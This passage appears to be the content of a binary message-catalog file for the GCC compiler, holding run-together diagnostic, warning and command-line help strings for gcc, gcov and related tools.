tÃÅ·	XbzV•P‹é²èªzŽómļþÞ
·ywt	åz
5õ5Y_ë“[;λ
¿`8”q‰
Kíew¬ž…	föØ$@ihŒø
ªlÇÁŠ\3Z•Aj<7ù£¼
!=SüÐ
âÝO	‹	éŠ
x29ßÕ
pf!Ôl§=ö
ßR3î
½…V|gãò	‰tGR
o³øg¥%e¯
Ög“ÑQŠŒeö¨âÂù·L>»œ£2
Û¦ªtÓÍÖX@åÈi¾tÊlx9ë¸9Vª’¶f
Ì#²A
ÃQ¯ 	û
{
˜Þf
÷”<
þþc~®Ç"©)g³
{ýb†	0
~	ØÚy=…¦™¯ÈÛjý9
}ü¼L6#*ç>½C¨,
ý´šžÓÀGcç
W°¾ÂÛLä!	¾	9ï 
]v’	/óšdpôÇfIa:ž
ÿõ<FöíO覔Ý
®·RÇÁ-	ç{Ø	Õü
?3îÀRÆeyësJt
E$„¿ô9ïQ¨	Eš
ŽÔ¬	%+#D

%s: %d: warning: can't add declaration of '%s' into macro call

%s: error reading input file '%s': %s

%s: fatal error: aux info file corrupted at line %d

%s: warning: too few parameter lists in declaration of '%s'

Execution times (seconds)

For bug reporting instructions, please see:

For bug reporting instructions, please see:
%s.

Go ahead? (y or n) 
Linker options
==============


Options starting with -g, -f, -m, -O, -W, or --param are automatically
 passed on to the various sub-processes invoked by %s.  In order to pass
 other options on to these processes the -W<letter> options must be used.

ldd output with constructors/destructors.

write_c_file - output name is %s, prefix is %s
                           Display specific types of command line options
          %s        %qD        <anonymous>    Included at %s:%d:    inlined from %qs    inlined from %qs at %s:%d    inlined from %qs at %s:%d:%d   in pointer to member conversion   in pointer to member function conversion  %q+#D  %q+#D declared here  (Use '-v --help' to display command line options of sub-processes)
  -###                     Like -v but options quoted and commands not executed
  --bootclasspath PATH    Override built-in class path
  --classpath PATH        Set path to find .class files
  --extdirs PATH          Set extensions directory path
  --help                   Display this information
  --help                  Print this help, then exit
  --help={target|optimizers|warnings|params|[^]{joined|separate|undocumented}}[,...]
  --javap                 Generate output in 'javap' format
  --sysroot=<directory>    Use <directory> as the root directory for headers
                           and libraries
  --target-help            Display target specific command line options
  --version                Display compiler version information
  --version               Print version number, then exit
  -B <directory>           Add <directory> to the compiler's search paths
  -E                       Preprocess only; do not compile, assemble or link
  -IDIR                   Append directory to class path
  -S                       Compile only; do not assemble or link
  -V <version>             Run gcc version number <version>, if installed
  -Wa,<options>            Pass comma-separated <options> on to the assembler
  -Wl,<options>            Pass comma-separated <options> on to the linker
  -Wp,<options>            Pass comma-separated <options> on to the preprocessor
  -Xassembler <arg>        Pass <arg> on to the assembler
  -Xlinker <arg>           Pass <arg> on to the linker
  -Xpreprocessor <arg>     Pass <arg> on to the preprocessor
  -a, --all-blocks                Show information for every basic block
  -b <machine>             Run gcc for target <machine>, if installed
  -b, --branch-probabilities      Include branch probabilities in output
  -c                       Compile and assemble, but do not link
  -c                      Disassemble method bodies
  -c, --branch-counts             Given counts of branches taken
                                    rather than percentages
  -combine                 Pass multiple source files to compiler at once
  -dumpmachine             Display the compiler's target processor
  -dumpspecs               Display all of the built in spec strings
  -dumpversion             Display the version of the compiler
  -f, --function-summaries        Output summaries for each function
  -h, --help                      Print this help, then exit
  -l, --long-file-names           Use long output file names for included
                                    source files
  -n, --no-output                 Do not create an output file
  -o <file>                Place the output into <file>
  -o FILE                 Set output file name
  -o, --object-directory DIR|FILE Search for object files in DIR or called FILE
  -p, --preserve-paths            Preserve all pathname components
  -pass-exit-codes         Exit with highest error code from a phase
  -pipe                    Use pipes rather than intermediate files
  -print-file-name=<lib>   Display the full path to library <lib>
  -print-libgcc-file-name  Display the name of the compiler's companion library
  -print-multi-directory   Display the root directory for versions of libgcc
  -print-multi-lib         Display the mapping between command line options and
                           multiple library search directories
  -print-multi-os-directory Display the relative path to OS libraries
  -print-prog-name=<prog>  Display the full path to compiler component <prog>
  -print-search-dirs       Display the directories in the compiler's search path
  -print-sysroot           Display the target libraries directory
  -print-sysroot-headers-suffix Display the sysroot suffix used to find headers
  -save-temps              Do not delete intermediate files
  -specs=<file>            Override built-in specs with the contents of <file>
  -std=<standard>          Assume that the input sources are for <standard>
  -time                    Time the execution of each subprocess
  -u, --unconditional-branches    Show unconditional branch counts too
  -v                       Display the programs invoked by the compiler
  -v, --verbose           Print extra information while running
  -v, --version                   Print version number, then exit
  -x <language>            Specify the language of the following input files
                           Permissible languages include: c c++ assembler none
                           'none' means revert to the default behavior of
                           guessing the language based on the file's extension
  a qualified-id is required  as it is a non-system directory that duplicates a system directory
  base %qT  because conversion sequence for the argument is better  because of local member %q+#D with same name  because of local method %q+#D with same name  but %d required  but does not override %<%T(const %T&)%>  but does not override %<operator=(const %T&)%>  by %q+D  candidate conversions include %qD and %qD  cannot use obsolete binding at %q+D because it has a destructor  conflict with %q+D  crosses initialization of %q+#D  enters OpenMP structured block  enters catch block  enters scope of non-POD %q+#D  enters try block  exits OpenMP structured block  expected a class template, got %qE  expected a class template, got %qT  expected a constant of type %qT, got %qT  expected a template of type %qD, got %qD  expected a type, got %qE  expected a type, got %qT  for conversion from %qT to %qT  from definition of %q+#D  from here  in call to %qD  in evaluation of %<%Q(%#T, %#T)%>  in instantiation of template %qT  in thrown expression  initializing argument %P of %qD  matches this %q+D under ISO standard rules  matches this %q+D under old rules  or %<operator=(const %T&)%>  overriding %q+#D  overriding %q+#F  since %q+#D declared in base class  skips initialization of %q+#D  trying to instantiate %qD  using obsolete binding at %q+D (frv) All options with the desired characteristics have already been displayed
 No options with the desired characteristics were found
 None found.  Use --help=%s to show *all* the options supported by the %s front-end
 Pending stmts not issued on ENTRY edge (%d, %d)
 Pending stmts not issued on EXIT edge (%d, %d)
 Pending stmts not issued on PRED edge (%d, %d)
 Pending stmts not issued on SUCC edge (%d, %d)
 TOTAL                 : candidate 1: %q+#F candidate 2: %q+#F conflicting code gen style switches are used shadows template parm %q+#D!$OMP ATOMIC assignment intrinsic IAND, IOR or IEOR must have two arguments at %L!$OMP ATOMIC assignment intrinsic must be MIN, MAX, IAND, IOR or IEOR at %L!$OMP ATOMIC assignment must be var = var op expr or var = expr op var at %L!$OMP ATOMIC assignment must have an operator or intrinsic on right hand side at %L!$OMP ATOMIC assignment operator must be +, *, -, /, .AND., .OR., .EQV. or .NEQV. at %L!$OMP ATOMIC intrinsic arguments except one must not reference '%s' at %L!$OMP ATOMIC intrinsic arguments must be scalar at %L!$OMP ATOMIC statement must set a scalar variable of intrinsic type at %L!$OMP ATOMIC var = var op expr not mathematically equivalent to var = var op (expr) at %L!$OMP DO cannot be a DO WHILE or DO without loop control at %L!$OMP DO collapsed loops don't form rectangular iteration space at %L!$OMP DO iteration variable must be of type integer at %L!$OMP DO iteration variable must not be THREADPRIVATE at %L!$OMP DO iteration variable present on clause other than PRIVATE or LASTPRIVATE at %L!$OMP at %C starts a commented line as it neither is followed by a space nor is a continuation line"%s" is not a valid option to the preprocessor"::" was expected after module nature at %C but was not found# %s %.2f %.2f
#include "..." search starts here:
#include <...> search starts here:
#pragma GCC diagnostic not allowed inside functions#pragma GCC memregs must precede any function decls#pragma GCC memregs takes a number [0..16]#pragma GCC optimize is not allowed inside functions#pragma GCC optimize string... is badly formed#pragma GCC option is not allowed inside functions#pragma GCC target is not supported for this machine#pragma GCC target string... is badly formed#pragma GCC visibility must be followed by push or pop#pragma GCC visibility push() must specify default, internal, hidden or protected#pragma GHS endXXX does not match previous startXXX#pragma GHS endXXXX found without previous startXXX#pragma extern_prefix not supported on this target#pragma implementation for %qs appears after file is included#pragma message: %s#pragma pack (pop) encountered without matching #pragma pack (push)#pragma pack has no effect with -fpack-struct - ignored#pragma pack(pop, %s) encountered without matching #pragma pack(push, %s)#pragma pack(pop[, id], <n>) is not supported on this target#pragma pack(push[, id], <n>) is not supported on this target#pragma redefine_extname ignored due to conflict with __asm__ declaration#pragma redefine_extname ignored due to conflict with previous #pragma redefine_extname#pragma redefine_extname ignored due to conflict with previous rename#pragma redefine_extname not supported on this target#pragma vtable no longer supported$ operand number used after format without operand number$ should be the last specifier in format at %C%+D causes a section type conflict%<#pragma GCC optimize (string [,string]...)%> does not have a final %<)%>.%<#pragma GCC optimize%> is not a string or number%<#pragma GCC option%> is not a string%<#pragma GCC pch_preprocess%> must be first%<#pragma GCC pop_options%> without a corresponding %<#pragma GCC push_options%>%<#pragma GCC target (string [,string]...)%> does not have a final %<)%>.%<#pragma align%> must appear before the declaration of %D, ignoring%<#pragma omp barrier%> may only be used in compound statements%<#pragma omp flush%> may only be used in compound statements%<#pragma omp section%> may only be used in %<#pragma omp sections%> construct%<#pragma omp taskwait%> may only be used in compound statements%<%%%> constraint used with last operand%<%%%c%> yields only last 2 digits of year%<%%%c%> yields only last 2 digits of year in some locales%<%D::%D%> is not a member of %qT%<%T::%D%> is not a valid declarator%<%T::%D%> names constructor%<%T::%D%> names constructor in %qT%<%T::%D%> names destructor%<%c%s%> not found in protocol(s)%<%s %E%> declared inside parameter list%<%s%> 2.95 vtable-compatibility attribute applies only to C++ classes%<%s%> 2.95 vtable-compatibility attribute applies only when compiling a kext%<&%> constraint used with no register class%<-%s%> conflicts with the other architecture options, which specify a %s processor%<-femit-struct-debug-detailed=dir:...%> must allow at least as much as %<-femit-struct-debug-detailed=ind:...%>%<-gnat%> misspelled as %<-gant%>%<-march=%s%> is not compatible with the selected ABI%<-mgp32%> and %<-mfp64%> can only be combined if the target supports the mfhc1 and mthc1 instructions%<-mgp32%> and %<-mfp64%> can only be combined when using the o32 ABI%<-mgp32%> used with a 64-bit ABI%<-mgp64%> used with a 32-bit ABI%<-mgp64%> used with a 32-bit processor%<-mips3d%> requires %<-mpaired-single%>%<-mno-gpopt%> needs %<-mexplicit-relocs%>%<...%> as arguments.)%<...%> has invalid operand number%<::main%> must return %<int%>%<<:%> is an alternate spelling for %<[%>. Insert whitespace between %<<%> and %<::%>%<<::%> cannot begin a template-argument list%<@end%> missing in implementation context%<@end%> must appear in an @implementation context%<@throw%> (rethrow) used outside of a @catch block%<@try%> without %<@catch%> or %<@finally%>%<[*]%> not allowed in other than function prototype scope%<[*]%> not in a declaration%<_Sat%> is used without %<_Fract%> or %<_Accum%>%<__BELOW100__%> attribute only applies to variables%<__alignof%> applied to a bit-field%<__builtin_longjmp%> second argument must be 1%<__builtin_next_arg%> called without an argument%<__gcc_host_wide_int__%> is not defined as %<long%> or %<long long%>%<__gcc_host_wide_int__%> is not defined as a type%<__thread%> before %<extern%>%<__thread%> before %<static%>%<__thread%> used with %<auto%>%<__thread%> used with %<register%>%<__thread%> used with %<typedef%>%<__thread%> used with %qE%<and%> of mutually exclusive equal-tests is always 0%<asm%> operand constraint incompatible with operand size%<asm%> operand has impossible constraints%<asm%> operand requires impossible reload%<asm%> specifiers are not permitted on non-static data members%<auto%> in file-scope empty declaration%<const%> and %<volatile%> function specifiers on %qD invalid in %s declaration%<default%> label in scope of identifier with variably modified type not containing enclosing switch statement%<default%> label in statement expression not containing enclosing switch statement%<default%> label not within a switch statement%<dynamic_cast%> not permitted with -fno-rtti%<else%> without a previous %<if%>%<enum %E%> declared in %<for%> loop initial declaration%<explicit%> can only be specified for constructors%<for%> loop initial declarations are only allowed in C99 mode%<friend%> can only be specified inside a class%<gnu_inline%> attribute present on %q+D%<inline%> in empty declaration%<inline%> is not allowed in declaration of friend template specialization %qD%<inline%> specified for friend class declaration%<inline%> specifier invalid for function %qs declared out of global scope%<location_t%> is not defined as a type%<locus%> is not defined as a type%<long long long%> is too long for GCC%<long long%> invalid for %qs%<long%> and %<short%> specified together for %qs%<long%> invalid for %qs%<long%> or %<short%> invalid for %qs%<long%> or %<short%> specified with char for %qs%<long%> switch expression not converted to %<int%> in ISO C%<noreturn%> function returns non-void value%<num_threads%> value must be positive%<operator delete%> must return type %qT%<operator delete%> takes type %qT as first parameter%<operator new%> must not return NULL unless it is declared %<throw()%> (or -fcheck-new is in effect)%<operator new%> must return type %qT%<operator new%> takes type %<size_t%> (%qT) as first parameter%<operator=%> should return a reference to %<*this%>%<or%> of unmatched not-equal tests is always 1%<register%> in file-scope empty declaration%<return%> with a value, in function returning void%<return%> with no value, in function returning non-void%<short%> invalid for %qs%<short%> or %<long%> invalid for %qs%<signed%> and %<unsigned%> specified together for %qs%<signed%> or %<unsigned%> invalid for %qs%<sizeof%> applied to a bit-field%<static%> may not be used when defining (as opposed to declaring) a static data member%<static%> specified invalid for function %qs declared out of global scope%<struct %E%> declared in %<for%> loop initial declaration%<this%> is unavailable for static member functions%<threadprivate%> %qD is not file, namespace or block scope variable%<threadprivate%> %qE directive not in %qT definition%<threadprivate%> %qE has incomplete type%<trap%> and %<far%> attributes are not compatible, ignoring %<far%>%<trap%> attribute is already used%<tree%> is not defined as a pointer type%<tree%> is not defined as a type%<typedef%> was ignored in this declaration%<typename %T::%D%> names %q#T, which is not a class template%<typename %T::%D%> names %q#T, which is not a type%<typeof%> applied to a bit-field%<union %E%> declared in %<for%> loop initial declaration%<va_start%> used in function with fixed args%<virtual%> outside class declaration%<void%> as only parameter may not be qualified%<void%> must be the only parameter%D renamed after being referenced in assembly%E qualifier ignored on asm%H   by earlier handler for %<%T%>%H   by earlier handler for %qT%H  from here%H%<#pragma GCC pch_preprocess%> must be first%H%<#pragma omp barrier%> may only be used in compound statements%H%<#pragma omp flush%> may only be used in compound statements%H%<#pragma omp section%> may only be used in %<#pragma omp sections%> construct%H%<#pragma omp taskwait%> may only be used in compound statements%H%<#pragma%> is not allowed here%H%<%E::%E%> %s%H%<%E::%E%> has not been declared%H%<%T::%E%> has not been declared%H%<%T::%E%> is not a type%H%<...%> handler must be the last handler for its try block%H%<::%D%> has not been declared%H%<::%E%> %s%H%<::%E%> has not been declared%H%<>>%> operator will be treated as two right angle brackets in C++0x%H%<>>%> should be %<> >%> within a nested template argument list%H%<@encode%> must specify a type as an argument%H%<__label__%> not at the beginning of a block%H%<__thread%> before %qD%H%<auto%> will change meaning in C++0x; please remove it%H%<else%> without a previous %<if%>%H%<friend%> used outside of class%H%<long long long%> is too long for GCC%H%<namespace%> definition is not allowed here%H%<noreturn%> function does return%H%<template%> (as a disambiguator) is only allowed within templates%H%<this%> may not be used in this context%H%qD is a namespace%H%qD is not a member of %qD%H%qD is not a member of %qT%H%qD is not a namespace-name%H%qD redeclared with different access%H%qD used without template parameters%H%qE %s%H%qE defined as wrong kind of tag%H%qE does not have class type%H%qE does not name a type%H%qE has not been declared%H%qE in class %qT does not name a type%H%qE in namespace %qE does not name a type%H%qE is not a template%H%qE undeclared (first use in this function)%H%qE undeclared here (not in a function)%H%qT is not a template%H%qs is not valid for %qs%H%s%H%sparameter pack %qD cannot have a default argument%H%sparameter pack cannot have a default argument%H(Each undeclared identifier is reported only once%HCorrupted value profile: %s profiler overall count (%d) does not match BB count (%d)%Ha class-key must be used when declaring a friend%Ha template-id may not appear in a using-declaration%Han asm-specification is not allowed on a function-definition%Han explicit specialization must be preceded by %<template <>%>%Harray bound forbidden after parenthesized type-id%Harray bound is not an integer constant%Harray subscript is above array bounds%Harray subscript is below array bounds%Harray subscript is outside array bounds%Hattributes are not allowed on a function-definition%Hbreak statement not within loop or switch%Hbreak statement used with OpenMP for loop%Hcannot expand initializer for member %<%D%>%Hcase label %qE not within a switch statement%Hcase label not within a switch statement%Hclass definition may not be declared a friend%Hcollapse argument needs positive constant integer expression%Hcollapsed loops not perfectly nested%Hcontinue statement not within a loop%Hcreating selector for nonexistent method %qE%Hdeclaration of %<~%T%> as member of %qT%Hdeclaration of %qD in %qD which does not enclose %qD%Hdeclaration of %qD in namespace %qD which does not enclose %qD%Hdefault arguments are only permitted for function parameters%Hdifference between %qE and %qD does not have integer type%Hduplicate %qs%Hduplicate class will only be compiled once%Hduplicate cv-qualifier%Hduplicate label %qD%Henclosing parallel%Henumeration value %qE not handled in switch%Hexception of type %qT will be caught%Hexpected iteration declaration or initialization%Hexpected parameter pack before %<...%>%Hexpected string literal%Hexplicit template specialization cannot have a storage class%Hexpression in new-declarator must have integral or enumeration type%Hextra qualification not allowed%Hfile ends in default argument%Hfixed-point types not supported in C++%Hfor each function it appears in.)%Hfriend declaration does not name a class or function%Hfunction template %qD redeclared as a class template%Hidentifier expected after %<@protocol%>%Hignoring #pragma %s %s%Hignoring return value of %qD, declared with attribute warn_unused_result%Hignoring return value of function declared with attribute warn_unused_result%Hincomplete type %qT used in nested name specifier%Hinitializer provided for function%Hinvalid Objective-C++ selector name%Hinvalid class name in declaration of %qD%Hinvalid combination of multiple type-specifiers%Hinvalid controlling predicate%Hinvalid declaration of member template in local class%Hinvalid exit from OpenMP structured block%Hinvalid increment expression%Hinvalid template-id%Hinvalid type for iteration variable %qE%Hinvalid use of %qD%Hinvalid use of %qD in linkage specification%Hinvalid use of constructor as a template%Hinvalid use of destructor %qD as a type%Hinvalid use of template-name %qE without an argument list%Hiteration variable %qD should not be firstprivate%Hiteration variable %qD should not be reduction%Hjunk at end of %<#pragma GCC pch_preprocess%>%Hkeyword %<typename%> not allowed in this context (a qualified member initializer is implicitly a type)%Hkeyword %<typename%> not allowed in this context (the base class is implicitly a type)%Hkeyword %<typename%> not allowed outside of templates%Hlocal variable %qD may not appear in this context%Hmisplaced %<@%D%> Objective-C++ construct%Hmissing controlling predicate%Hmissing increment expression%Hmixing declarations and function-definitions is forbidden%Hnamed return values are no longer supported%Hnew types may not be defined in a return type%Hnon-template %qD used as template%Hnot enough collapsed for loops%Honly constructors take base initializers%Hparse error in template argument list%Hprevious definition of %q+#T%Hprototype declaration%Hpure-specifier on function-definition%Hredefinition of %q#T%Hreference to %<%T::%D%> is ambiguous%Hreference to %qD is ambiguous%Hrequest for member %qE in non-class type %qT%Hschedule %<auto%> does not take a %<chunk_size%> parameter%Hschedule %<runtime%> does not take a %<chunk_size%> parameter%Hscope %qT before %<~%> is not a class-name%Hspurious %<>>%>, use %<>%> to terminate a template argument list%Hstatement with no effect%Hstatement-expressions are not allowed outside functions nor in template-argument lists%Hstray %<@%> in program%Hsuggest explicit braces to avoid ambiguous %<else%>%Hswitch missing default case%Htemplate declaration of %qs%Htemplate parameter pack %qD cannot have a default argument%Htemplate parameter pack cannot have a default argument%Htemplate parameter packs cannot have default arguments%Htemplate specialization with C linkage%Htemplate with C linkage%Htemplates may not be %<virtual%>%Htoo few template-parameter-lists%Htoo many %qs clauses%Htoo many template-parameter-lists%Htraditional C lacks a separate namespace for labels, identifier %qE conflicts%Htypedef-name %qD used as destructor declarator%Hunsupported non-standard concatenation of string literals%Hvalue computed is not used%Hwill never be executed%J  because the following virtual functions are pure within %qT:%J  enters catch block%J  since type %qT has pure virtual functions%J  when initialized here%J  you can work around this by removing the initializer%J%<externally_visible%> attribute have effect only on public objects%J%qD should be initialized in the member initialization list%J%qD was declared here%J%qE attribute applies only to functions%J%s %<%c%s%>%J%s %qs%Jabstract method in non-abstract class%Jaddress area attribute cannot be specified for functions%Jalias definitions not supported in this configuration%Jan address area attribute cannot be specified for local variables%Jan anonymous struct cannot have function members%Jan anonymous union cannot have function members%Jbase class %q#T should be explicitly initialized in the copy constructor%Jbut not here%Jcan%'t set %qE attribute after definition%Jcase value %qs not in enumerated type%Jcase value %qs not in enumerated type %qT%Jconflicts with previous declaration here%Jdata area attributes cannot be specified for local variables%Jflexible array member in otherwise empty struct%Jflexible array member in union%Jflexible array member not at end of struct%Jfollows non-prototype definition here%Jfunction might be possible candidate for attribute %<noreturn%>%Jinitializations for multiple members of %qT%Jinvalid use of structure with flexible array member%Jjump into scope of identifier with variably modified type%Jjump into statement expression%Jmultiple initializations given for %qD%Jmultiple initializations given for base %qT%Jold-style function definition%Jold-style parameter declarations in prototyped function definition%Jonly weak aliases are supported in this configuration%Joriginal definition appeared here%Jparameter %u has incomplete type%Jparameter %u has void type%Jparameter name missing from parameter list%Jparameter name omitted%Jprevious definition here%Jpreviously used here%Jsection attribute cannot be specified for local variables%Jsection attributes are not supported for this target%Jshadowed declaration is here%Jthis is the first default label%Jthis is the first entry overlapping that value%Jtotal size of local objects too large%Jtraditional C rejects ISO C style function definitions%Jtypedef name may not be a nested-name-specifier%Juninitialized member %qD with %<const%> type %qT%Juninitialized reference member %qD%Jvalue-initialization of %q#D, which has reference type%Jweakref attribute must appear before alias attribute%Jweakref is not supported in this configuration%Kattempt to free a non-heap object%Kattempt to free a non-heap object %qD%Kcall to %D might overflow destination buffer%Kcall to %D will always overflow destination buffer%Kcall to %qs declared with attribute error: %s%Kcall to %qs declared with attribute warning: %s%Kfirst argument of %D must be a pointer, second integer constant%Kinvalid use of %<__builtin_va_arg_pack ()%>%Kinvalid use of %<__builtin_va_arg_pack_len ()%>%Klast argument of %D is not integer constant between 0 and 3%c REDUCTION variable '%s' at %L must be of numeric type, got %s%d constructor(s) found
%d destructor(s)  found
%d exits recorded for loop %d (having %d exits)%d frame table(s) found
%d least significant bits of %s are ignored.%i-bit mode not compiled in%q#D conflicts with previous using declaration %q#D%q#D hides constructor for %q#T%q#D is a static data member; it can only be initialized at its definition%q#D is not a non-static data member of %qT%q#D is not a static member of %q#T%q#D redeclared as different kind of symbol%q#T has pointer data members%q#T has virtual functions and accessible non-virtual destructor%q#T is not a class%q#T is not a class or a namespace%q#T is not a template%q#T is not a valid type for a template constant parameter%q#T only defines a private destructor and has no friends%q#T only defines private constructors and has no friends%q#T used where a %qT was expected%q#T used where a floating point value was expected%q+#D cannot be declared%q+#D cannot be overloaded%q+#D does not refer to the unqualified type, so it is not used for linkage%q+#D invalid; an anonymous struct can only have non-static data members%q+#D invalid; an anonymous union can only have non-static data members%q+#D is inaccessible%q+#D is private%q+#D is protected%q+#D previously defined here%q+D aliased to external symbol %qs%q+D aliased to undefined symbol %qs%q+D already declared with dllexport attribute: dllimport ignored%q+D causes a section type conflict%q+D contains empty classes which may cause base classes to be placed at different locations in a future version of GCC%q+D declared as a friend%q+D declared as a non-parameter%q+D declared here%q+D declared with an exception specification%q+D defined both normally and as an alias%q+D defined but not used%q+D has a previous declaration as %q#D%q+D has a previous declaration here%q+D invalid in %q#T%q+D is normally a non-static function%q+D is not a function,%q+D is static but declared in inline function %qD which is not static%q+D is too small to hold all values of %q#T%q+D is usually a function%q+D may not be static because it is a member of a union%q+D may not have reference type %qT because it is a member of a union%q+D redeclared as different kind of symbol%q+D redeclared without dllimport attribute after being referenced with dll linkage%q+D redeclared without dllimport attribute: previous dllimport ignored%q+D takes only zero or two arguments%q+D used prior to declaration%q+D was hidden%q+D was used with no declaration before its definition%q+D was used with no prototype before its definition%q+D will be initialized after%q+D: visibility attribute ignored because it%q+D:'selectany' attribute applies only to initialized objects%q+F declared %<static%> but never defined%q+F used but never defined%q+T has a previous declaration here%qD appears more than once in data clauses%qD attribute directive ignored%qD attribute is meaningless since members of the anonymous namespace get local symbols%qD attribute requires a single NTBS argument%qD cannot appear in a constant-expression%qD cannot be declared virtual, since it is always static%qD cannot be defaulted%qD cannot be initialized by a non-constant expression when being declared%qD cannot be thread-local because it has non-POD type %qT%qD cannot have default arguments%qD changed semantics in GCC 4.4%qD declared as a %<virtual%> %s%qD declared as an %<inline%> %s%qD declared as reference but not initialized%qD has an incomplete type%qD has incomplete type%qD has no member named %qE%qD has the same name as the class in which it is declared%qD is already a friend of %qT%qD is already a friend of class %qT%qD is already declared in this scope%qD is already defined in %qT%qD is already defined in class %qT%qD is already defined in the class %qT%qD is both a direct base and an indirect virtual base%qD is deprecated (declared at %s:%d)%qD is not a class or namespace%qD is not a function template%qD is not a member of %qT%qD is not a member template function%qD is not a static data member of a class template%qD is not a template%qD is not a template function%qD is not a type%qD is not a valid template argument because %qD is a variable, not the address of a variable%qD is not a variable%qD is not a variable in clause %<firstprivate%>%qD is not a variable in clause %<lastprivate%>%qD is not a variable in clause %qs%qD is not declared in %qD%qD is not defined outside of function scope%qD is static but used in inline function %qD which is not static%qD is thread-local and so cannot be dynamically initialized%qD is used uninitialized in this function%qD may be used uninitialized in this function%qD may not be declared as static%qD may not be declared within a namespace%qD must be a nonstatic member function%qD must be either a non-static member function or a non-member function%qD must have an argument of class or enumerated type%qD must not have variable number of arguments%qD must take %<void%>%qD must take either one or two arguments%qD must take either zero or one argument%qD must take exactly one argument%qD must take exactly two arguments%qD not declared%qD not defined%qD redeclared with different visibility%qD should have been declared inside %qD%qD should never be overloaded%qD should return by value%qD used without template parameters%qD was declared %<extern%> and later %<static%>%qD was declared %qs which implies default visibility%qD was not declared in this scope%qE appears more than once in data clauses%qE attribute can only be applied to Java class definitions%qE attribute can only be applied to class definitions%qE attribute conflicts with attribute %s%qE attribute have effect only on public objects%qE attribute ignored%qE attribute ignored because %qT is already defined%qE attribute ignored for %qE%qE attribute ignored for field of type %qT%qE attribute ignored on non-class types%qE attribute ignored on types%qE attribute is not supported on this platform%qE attribute only applies to variadic functions%qE attribute requires prototypes with named arguments%qE cannot be used as a function%qE cannot be used as a member pointer, since it is of type %qT%qE declared %<threadprivate%> after first use%qE fails to be a typedef or built in type%qE has invalid type for %<reduction%>%qE has invalid type for %<reduction(%s)%>%qE has reference type for %qs%qE implicitly determined as %<firstprivate%> has reference type%qE is an unrecognized format function type%qE is neither function nor member function; cannot be declared friend%qE is not a valid template argument for type %qT%qE is not a valid template argument for type %qT because function %qD has not external linkage%qE is not a valid template argument for type %qT because it is a non-constant expression%qE is not a valid template argument for type %qT because it is a pointer%qE is not a valid template argument for type %qT because it is not an lvalue%qE is not a valid template argument for type %qT because it is of type %qT%qE is not a valid template argument for type %qT because object %qD has not external linkage%qE is not a valid template argument for type %qT because of conflicts in cv-qualification%qE is not a valid template argument for type %qT because string literals can never be used in this context%qE is not a valid template argument of type %qT because %qD does not have external linkage%qE is not a valid template argument of type %qT because %qE is not a variable%qE is not a variable in clause %<firstprivate%>%qE is not a variable in clause %<lastprivate%>%qE is not a variable in clause %qs%qE is not at beginning of declaration%qE is not initialized%qE is not of type %qT%qE is obsolete; g++ vtables are now COM-compatible by default%qE is predetermined %qs for %qs%qE must be %<threadprivate%> for %<copyin%>%qE needs isa option %s%qE needs unknown isa option%qE refers to a set of overloaded functions%qT declared with greater visibility than its base %qT%qT declared with greater visibility than the type of its field %qD%qT has a base %qT whose type uses the anonymous namespace%qT has a field %qD whose type uses the anonymous namespace%qT has no member named %qE%qT has no non-static data member named %qD%qT is a variably modified type%qT is already a friend of %qT%qT is an ambiguous base of %qT%qT is an inaccessible base of %qT%qT is not a base of %qT%qT is not a class or namespace%qT is not a class type%qT is not a class, struct, or union type%qT is not a member class template of %qT%qT is not a member of %qT%qT is not a namespace%qT is not a nested class of %qT%qT is not a pointer-to-object type%qT is not a template%qT is not a template type%qT is not an accessible base of %qT%qT is promoted to %qT when passed through %<...%>%qT is/uses anonymous type%qT referred to as %qs%qT referred to as enum%qT resolves to %qT, which is is not a class type%qT resolves to %qT, which is not an enumeration type%qV qualifiers cannot be applied to %qT%qs appears to be a misspelled interrupt handler%qs appears to be a misspelled signal handler%qs attribute applies only to initialized variables with external linkage%qs attribute argument not a string constant%qs attribute argument not an integer constant%qs attribute directive ignored%qs attribute does not apply to types%qs attribute ignored%qs attribute is supported only for SH2A%qs attribute only applies to SH2A%qs attribute only applies to function types%qs attribute only applies to functions%qs attribute only applies to interrupt functions%qs attribute only applies to variables%qs attribute only available for 64-bit%qs attribute requires an integer constant argument%qs can only be specified for functions%qs cannot have both %<mips16%> and %<nomips16%> attributes%qs declared as both exported to and imported from a DLL%qs declared as function returning a function%qs declared as function returning an array%qs defined in a non-class scope%qs does not support MIPS16 code%qs expects a constant argument%qs function uses %<auto%> type specifier without late return type%qs function with late return type has %qT as its type rather than plain %<auto%>%qs function with late return type not declared with %<auto%> type specifier%qs has both %<extern%> and initializer%qs has overflowed%qs implies default visibility, but %qD has already been declared with a different visibility%qs incompatible attribute ignored%qs initialized and declared %<extern%>%qs is deprecated%qs is deprecated (declared at %s:%d)%qs is narrower than values of its type%qs is not a gcov data file%qs is not a valid output file%qs is not an Objective-C class name or alias%qs is not valid for %qs%qs is version %q.*s, expected version %q.*s%qs may not respond to %<%c%s%>%qs must be used with %qs%qs not specified in enclosing parallel%qs redeclared as different kind of symbol%qs redeclared with conflicting %qs attributes%qs requires a target that provides the %qs instruction%qs requires branch-likely instructions%qs tag used in naming %q#T%qs uses dynamic stack allocation%s%s
%s %+#D%s %+#D <near match>%s %+#T%s %D(%T) <built-in>%s %D(%T, %T) <built-in>%s %D(%T, %T, %T) <built-in>%s %T <conversion>%s %q+D %s after being referenced with dllimport linkage%s %qs does not fully implement the %qs protocol%s %s %p %d
%s %s%s
%s %s(%E) %p %d
%s '%s'
%s (disable warning using -mno-inefficient-warnings)%s REDUCTION variable '%s' must be INTEGER at %L%s REDUCTION variable '%s' must be INTEGER or REAL at %L%s REDUCTION variable '%s' must be LOGICAL at %L%s at %L must be INTEGER%s at %L must be a scalar%s attribute applied to %s %s at %L%s attribute at %L is not allowed outside of the specification part of a module%s attribute conflicts with %s attribute at %L%s attribute conflicts with %s attribute in '%s' at %L%s attribute not allowed in BLOCK DATA program unit at %L%s attribute of '%s' conflicts with %s attribute at %L%s between distinct pointer types %qT and %qT lacks a cast%s between distinct pointer-to-member types %qT and %qT lacks a cast%s cannot be used in asm here%s cannot resolve address of overloaded function%s clause object '%s' has ALLOCATABLE components at %L%s does not support %%n$ operand number formats%s does not support %s%s does not support %s with the %<%%%c%> %s format%s does not support block_ends_with_call_p%s does not support block_ends_with_condjump_p%s does not support can_duplicate_block_p%s does not support can_merge_blocks_p%s does not support can_remove_branch_p%s does not support create_basic_block%s does not support delete_basic_block%s does not support duplicate_block%s does not support flow_call_edges_add%s does not support make_forwarder_block%s does not support merge_blocks%s does not support move_block_after%s does not support predict_edge%s does not support predicted_by_p%s does not support redirect_edge_and_branch%s does not 